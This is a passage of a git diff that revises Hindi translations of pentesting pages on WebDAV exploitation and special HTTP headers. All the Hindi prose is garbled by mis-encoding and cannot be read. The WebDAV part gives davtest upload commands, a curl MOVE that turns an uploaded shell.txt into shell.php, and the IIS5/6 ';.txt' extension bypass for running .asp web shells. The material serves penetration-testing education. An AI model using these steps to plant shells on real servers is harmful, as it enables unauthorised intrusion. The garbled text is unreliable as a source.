**рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рд╣реЛрддрд╛ рд╣реИ: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` ![](<../../images/image (851).png>) -рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рдирд╣реАрдВ рд╣реИ рдХрд┐ **.txt** рдФрд░ **.html рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рд░рд╣реЗ рд╣реИрдВ**ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк **рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ** рд╡реЗрдм рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред +рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рдирд╣реАрдВ рд╣реИ рдХрд┐ **.txt** рдФрд░ **.html рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ**ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк **рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ** рд╡реЗрдм рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред ## Cadaver @@ -39,16 +39,16 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Vulnerability -рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдХрдореА рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд╣реИред **WebDav** **рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдЕрдкрд▓реЛрдб** рдпрд╛ **рдирд╛рдо рдмрджрд▓рдиреЗ** рдХреА **рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛** рдЬрд┐рдирдХрд╛ рдПрдХреНрд╕рдЯреЗрдВрд╢рди **.asp** рд╣реИред рд▓реЗрдХрд┐рди рдЖрдк рдирд╛рдо рдХреЗ рдЕрдВрдд рдореЗрдВ **";.txt"** рдЬреЛрдбрд╝рдХрд░ рдЗрд╕реЗ **рдмрд╛рдпрдкрд╛рд╕** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдлрд╛рдЗрд▓ рдХреЛ рдПрдХ .asp рдлрд╛рдЗрд▓ рдХреА рддрд░рд╣ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рдЖрдк **".html" рдХрд╛ рдЙрдкрдпреЛрдЧ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ ".txt" рдХреЗ рдмрдЬрд╛рдп** рд▓реЗрдХрд┐рди **";" рдХреЛ рдордд рднреВрд▓реЗрдВ**). +рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдХрдореА рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд╣реИред **WebDav** **рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдЕрдкрд▓реЛрдб** рдпрд╛ **рдирд╛рдо рдмрджрд▓рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ **рдирд╣реАрдВ рджреЗрддрд╛** рдЬрд┐рдирдХрд╛ рдПрдХреНрд╕рдЯреЗрдВрд╢рди **.asp** рд╣реИред рд▓реЗрдХрд┐рди рдЖрдк рдирд╛рдо рдХреЗ рдЕрдВрдд рдореЗрдВ **";.txt"** рдЬреЛрдбрд╝рдХрд░ рдЗрд╕реЗ **рдмрд╛рдпрдкрд╛рд╕** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдлрд╛рдЗрд▓ рдХреЛ рдПрдХ .asp рдлрд╛рдЗрд▓ рдХреА рддрд░рд╣ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рдЖрдк **".html" рдХрд╛ рдЙрдкрдпреЛрдЧ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ ".txt" рдХреЗ рдмрдЬрд╛рдп** рд▓реЗрдХрд┐рди **";" рдХреЛ рдордд рднреВрд▓реЗрдВ**). -рдлрд┐рд░ рдЖрдк рдЕрдкрдиреА рд╢реЗрд▓ рдХреЛ ".**txt" рдлрд╛рдЗрд▓** рдХреЗ рд░реВрдк рдореЗрдВ **рдЕрдкрд▓реЛрдб** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ ".asp;.txt" рдлрд╛рдЗрд▓ рдореЗрдВ **рдХреЙрдкреА/рдореВрд╡** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрд╕ рдлрд╛рдЗрд▓ рдХреЛ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдкрд░, рдпрд╣ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рд╣реЛрдЧрд╛ (cadaver рдХрд╣реЗрдЧрд╛ рдХрд┐ рдореВрд╡ рдХреНрд░рд┐рдпрд╛ рдХрд╛рдо рдирд╣реАрдВ рдХреА, рд▓реЗрдХрд┐рди рдпрд╣ рдХрд╛рдо рдХрд░ рдЧрдИ). +рдлрд┐рд░ рдЖрдк рдЕрдкрдиреА рд╢реЗрд▓ рдХреЛ рдПрдХ ".**txt" рдлрд╛рдЗрд▓** рдХреЗ рд░реВрдк рдореЗрдВ **рдЕрдкрд▓реЛрдб** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдПрдХ ".asp;.txt" рдлрд╛рдЗрд▓ рдореЗрдВ **рдХреЙрдкреА/рдореВрд╡** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрд╕ рдлрд╛рдЗрд▓ рдХреЛ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдкрд░, рдпрд╣ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рд╣реЛрдЧрд╛ (cadaver рдХрд╣реЗрдЧрд╛ рдХрд┐ рдореВрд╡ рдХреНрд░рд┐рдпрд╛ рдХрд╛рдо рдирд╣реАрдВ рдХреА, рд▓реЗрдХрд┐рди рдпрд╣ рдХрд╛рдо рдХрд░ рдЧрдИ). ![](<../../images/image (1092).png>) ## Post credentials рдпрджрд┐ Webdav рдПрдХ Apache рд╕рд░реНрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рдерд╛ рддреЛ рдЖрдкрдХреЛ Apache рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХреА рдЧрдИ рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ рдзреНрдпрд╛рди рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдПред рд╕рд╛рдорд╛рдиреНрдпрддрдГ:\ -\_**/etc/apache2/sites-enabled/000-default**_ +_**/etc/apache2/sites-enabled/000-default**_ рдЗрд╕рдХреЗ рдЕрдВрджрд░ рдЖрдк рдХреБрдЫ рдРрд╕рд╛ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: ``` diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index a85875391..04e836768 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -35,7 +35,7 @@ ## рд╣реЙрдк-рдмрд╛рдп-рд╣реЙрдк рд╣реЗрдбрд░ -рдПрдХ рд╣реЙрдк-рдмрд╛рдп-рд╣реЙрдк рд╣реЗрдбрд░ рдПрдХ рд╣реЗрдбрд░ рд╣реИ рдЬрд┐рд╕реЗ рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░реЙрдХреНрд╕реА рджреНрд╡рд╛рд░рд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рдФрд░ рдЙрдкрднреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рди рдХрд┐ рдПрдХ рдПрдВрдб-рдЯреВ-рдПрдВрдб рд╣реЗрдбрд░ред +рдПрдХ рд╣реЙрдк-рдмрд╛рдп-рд╣реЙрдк рд╣реЗрдбрд░ рдПрдХ рдРрд╕рд╛ рд╣реЗрдбрд░ рд╣реИ рдЬрд┐рд╕реЗ рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░реЙрдХреНрд╕реА рджреНрд╡рд╛рд░рд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рдФрд░ рдЙрдкрднреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рди рдХрд┐ рдПрдХ рдПрдВрдб-рдЯреВ-рдПрдВрдб рд╣реЗрдбрд░ред - `Connection: close, X-Forwarded-For` @@ -56,12 +56,12 @@ **рд╕рд░реНрд╡рд░ рдХреИрд╢ рд╣реЗрдбрд░**: -- **`X-Cache`** рдореЗрдВ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдорд╛рди **`miss`** рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдЕрдиреБрд░реЛрдз рдХреЛ рдХреИрд╢ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдорд╛рди **`hit`** рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдЗрд╕реЗ рдХреИрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ +- **`X-Cache`** рдореЗрдВ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ **`miss`** рдХрд╛ рдорд╛рди рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдЕрдиреБрд░реЛрдз рдХреЛ рдХреИрд╢ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдорд╛рди **`hit`** рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдЗрд╕реЗ рдХреИрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ - рд╣реЗрдбрд░ **`Cf-Cache-Status`** рдореЗрдВ рд╕рдорд╛рди рд╡реНрдпрд╡рд╣рд╛рд░ - **`Cache-Control`** рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рд╕рдВрд╕рд╛рдзрди рдХреИрд╢ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЕрдЧрд▓реА рдмрд╛рд░ рдХрдм рд╕рдВрд╕рд╛рдзрди рдХреЛ рдлрд┐рд░ рд╕реЗ рдХреИрд╢ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛: `Cache-Control: public, max-age=1800` -- **`Vary`** рдЕрдХреНрд╕рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ **рдЕрддрд┐рд░рд┐рдХреНрдд рд╣реЗрдбрд░** рдХреЛ **рдХреИрд╢ рдХреБрдВрдЬреА** рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рднрд▓реЗ рд╣реА рд╡реЗ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЕрдирдХреБрдВрдЬреАрдХреГрдд рд╣реЛрдВред -- **`Age`** рдЙрд╕ рд╕рдордп рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╡рд╕реНрддреБ рдкреНрд░реЙрдХреНрд╕реА рдХреИрд╢ рдореЗрдВ рд░рд╣реА рд╣реИред -- **`Server-Timing: cdn-cache; desc=HIT`** рдпрд╣ рднреА рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдПрдХ рд╕рдВрд╕рд╛рдзрди рдХреИрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ +- **`Vary`** рдЕрдХреНрд╕рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ **рдЕрддрд┐рд░рд┐рдХреНрдд рд╣реЗрдбрд░** рдХреЛ **рдХреИрд╢ рдХреБрдВрдЬреА рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛** рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрдХреЗрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рднрд▓реЗ рд╣реА рд╡реЗ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЕрдирдХреБрдВрдЬреАрдХреГрдд рд╣реЛрдВред +- **`Age`** рдЙрд╕ рд╕рдордп рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╕реЗрдХрдВрдб рдореЗрдВ рд╡рд╕реНрддреБ рдкреНрд░реЙрдХреНрд╕реА рдХреИрд╢ рдореЗрдВ рд░рд╣реА рд╣реИред +- **`Server-Timing: cdn-cache; desc=HIT`** рдпрд╣ рднреА рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдПрдХ рд╕рдВрд╕рд╛рдзрди рдХреИрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ {{#ref}} ../../pentesting-web/cache-deception/ @@ -69,37 +69,37 @@ **рд╕реНрдерд╛рдиреАрдп рдХреИрд╢ рд╣реЗрдбрд░**: -- `Clear-Site-Data`: рд╣реЗрдбрд░ рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреИрд╢ рдХреЛ рд╣рдЯрд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП: `Clear-Site-Data: "cache", "cookies"` +- `Clear-Site-Data`: рд╣реЗрдбрд░ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреИрд╢ рдХреЛ рд╣рдЯрд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП: `Clear-Site-Data: "cache", "cookies"` - `Expires`: рдЙрд╕ рджрд┐рди/рд╕рдордп рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ рдЬрдм рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рдорд╛рдкреНрдд рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП: `Expires: Wed, 21 Oct 2015 07:28:00 GMT` - `Pragma: no-cache` `Cache-Control: no-cache` рдХреЗ рд╕рдорд╛рди - `Warning`: **`Warning`** рд╕рд╛рдорд╛рдиреНрдп HTTP рд╣реЗрдбрд░ рд╕рдВрджреЗрд╢ рдХреА рд╕реНрдерд┐рддрд┐ рдХреЗ рд╕рд╛рде рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ `Warning` рд╣реЗрдбрд░ рджрд┐рдЦрд╛рдИ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред `Warning: 110 anderson/1.3.37 "Response is stale"` -## рд╢рд░реНрддреЗрдВ +## рдХрдВрдбреАрд╢рдирд▓реНрд╕ -- рдЗрди рд╣реЗрдбрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрд░реЛрдз: **`If-Modified-Since`** рдФрд░ **`If-Unmodified-Since`** рдХреЗрд╡рд▓ рддрдм рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдЙрддреНрддрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬрдм рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░\*\*`Last-Modified`\*\* рдореЗрдВ рдПрдХ рдЕрд▓рдЧ рд╕рдордп рд╣реЛред -- **`If-Match`** рдФрд░ **`If-None-Match`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╢рд░реНрддреАрдп рдЕрдиреБрд░реЛрдз рдПрдХ Etag рдорд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреА рд╕рд╛рдордЧреНрд░реА рднреЗрдЬреЗ рдпрджрд┐ рдбреЗрдЯрд╛ (Etag) рдмрджрд▓ рдЧрдпрд╛ рд╣реИред `Etag` HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕реЗ рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- **Etag** рдорд╛рди рдЖрдорддреМрд░ рдкрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреА **рд╕рд╛рдордЧреНрд░реА** рдХреЗ рдЖрдзрд╛рд░ рдкрд░ **рдЧрдгрдирд╛** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ `Etag` **37 рдмрд╛рдЗрдЯреНрд╕** рдХрд╛ **Sha1** рд╣реИред +- рдЗрди рд╣реЗрдбрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрд░реЛрдз: **`If-Modified-Since`** рдФрд░ **`If-Unmodified-Since`** рдХреЗрд╡рд▓ рддрдм рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреА рдЬрд╛рдПрдЧреА рдЬрдм рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ **`Last-Modified`** рдореЗрдВ рдПрдХ рдЕрд▓рдЧ рд╕рдордп рд╣реЛред +- **`If-Match`** рдФрд░ **`If-None-Match`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХрдВрдбреАрд╢рдирд▓ рдЕрдиреБрд░реЛрдз рдПрдХ Etag рдорд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреА рд╕рд╛рдордЧреНрд░реА рднреЗрдЬреЗ рдпрджрд┐ рдбреЗрдЯрд╛ (Etag) рдмрджрд▓ рдЧрдпрд╛ рд╣реИред `Etag` HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕реЗ рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- **Etag** рдорд╛рди рдЖрдорддреМрд░ рдкрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреА **рд╕рд╛рдордЧреНрд░реА** рдХреЗ рдЖрдзрд╛рд░ рдкрд░ **рдЧрдгрдирд╛ рдХреА рдЬрд╛рддреА рд╣реИ**ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ `Etag` **37 рдмрд╛рдЗрдЯреНрд╕** рдХрд╛ **Sha1** рд╣реИред ## рд░реЗрдВрдЬ рдЕрдиреБрд░реЛрдз -- **`Accept-Ranges`**: рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд╕рд░реНрд╡рд░ рд░реЗрдВрдЬ рдЕрдиреБрд░реЛрдзреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдпрджрд┐ рд╣рд╛рдВ, рддреЛ рд░реЗрдВрдЬ рдХреЛ рдХрд┐рд╕ рдЗрдХрд╛рдИ рдореЗрдВ рд╡реНрдпрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред `Accept-Ranges: ` -- **`Range`**: рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдХреЛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рдХреМрди рд╕рд╛ рднрд╛рдЧ рд▓реМрдЯрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `Range:80-100` рдореВрд▓ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмрд╛рдЗрдЯреНрд╕ 80 рд╕реЗ 100 рдХреЛ 206 рдЖрдВрд╢рд┐рдХ рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдХреЗ рд╕рд╛рде рд▓реМрдЯрд╛рдПрдЧрд╛ред рдЕрдиреБрд░реЛрдз рд╕реЗ `Accept-Encoding` рд╣реЗрдбрд░ рдХреЛ рд╣рдЯрд╛рдирд╛ рднреА рдпрд╛рдж рд░рдЦреЗрдВред +- **`Accept-Ranges`**: рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд╕рд░реНрд╡рд░ рд░реЗрдВрдЬ рдЕрдиреБрд░реЛрдзреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдпрджрд┐ рд╣рд╛рдВ, рддреЛ рд░реЗрдВрдЬ рдХреЛ рдХрд┐рд╕ рдЗрдХрд╛рдИ рдореЗрдВ рд╡реНрдпрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред `Accept-Ranges: ` +- **`Range`**: рдЙрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рднрд╛рдЧ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╕рд░реНрд╡рд░ рдХреЛ рд▓реМрдЯрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `Range:80-100` рдореВрд▓ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ 80 рд╕реЗ 100 рдмрд╛рдЗрдЯреНрд╕ рдХреЛ 206 рдЖрдВрд╢рд┐рдХ рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдХреЗ рд╕рд╛рде рд▓реМрдЯрд╛рдПрдЧрд╛ред рдпрд╣ рднреА рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдЕрдиреБрд░реЛрдз рд╕реЗ `Accept-Encoding` рд╣реЗрдбрд░ рдХреЛ рд╣рдЯрд╛ рджреЗрдВред - рдпрд╣ рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдордирдорд╛рдиреЗ рд░реВрдк рд╕реЗ рдкрд░рд╛рд╡рд░реНрддрд┐рдд рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рд╣реЛ рдЬреЛ рдЕрдиреНрдпрдерд╛ рдмрдЪрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдпреЗ рд╣реЗрдбрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред -- **`If-Range`**: рдПрдХ рд╢рд░реНрддреАрдп рд░реЗрдВрдЬ рдЕрдиреБрд░реЛрдз рдмрдирд╛рддрд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рддрдм рдкреВрд░рд╛ рд╣реЛрддрд╛ рд╣реИ рдЬрдм рджрд┐рдпрд╛ рдЧрдпрд╛ etag рдпрд╛ рддрд┐рдерд┐ рджреВрд░рд╕реНрде рд╕рдВрд╕рд╛рдзрди рд╕реЗ рдореЗрд▓ рдЦрд╛рддреА рд╣реИред рд╕рдВрд╕рд╛рдзрди рдХреЗ рдЕрд╕рдВрдЧрдд рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рд╕реЗ рджреЛ рд░реЗрдВрдЬ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- **`Content-Range`**: рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдПрдХ рдкреВрд░реНрдг рд╢рд░реАрд░ рд╕рдВрджреЗрд╢ рдореЗрдВ рдПрдХ рдЖрдВрд╢рд┐рдХ рд╕рдВрджреЗрд╢ рдХрд╣рд╛рдБ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИред +- **`If-Range`**: рдПрдХ рдХрдВрдбреАрд╢рдирд▓ рд░реЗрдВрдЬ рдЕрдиреБрд░реЛрдз рдмрдирд╛рддрд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рддрдм рдкреВрд░рд╛ рд╣реЛрддрд╛ рд╣реИ рдЬрдм рджрд┐рдпрд╛ рдЧрдпрд╛ etag рдпрд╛ рддрд┐рдерд┐ рджреВрд░рд╕реНрде рд╕рдВрд╕рд╛рдзрди рд╕реЗ рдореЗрд▓ рдЦрд╛рддреА рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рдВрд╕рд╛рдзрди рдХреЗ рдЕрд╕рдВрдЧрдд рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рд╕реЗ рджреЛ рд░реЗрдВрдЬ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- **`Content-Range`**: рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдкреВрд░реНрдг рдмреЙрдбреА рд╕рдВрджреЗрд╢ рдореЗрдВ рдЖрдВрд╢рд┐рдХ рд╕рдВрджреЗрд╢ рдХрд╣рд╛рдБ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИред ## рд╕рдВрджреЗрд╢ рд╢рд░реАрд░ рдХреА рдЬрд╛рдирдХрд╛рд░реА - **`Content-Length`:** рд╕рдВрд╕рд╛рдзрди рдХрд╛ рдЖрдХрд╛рд░, 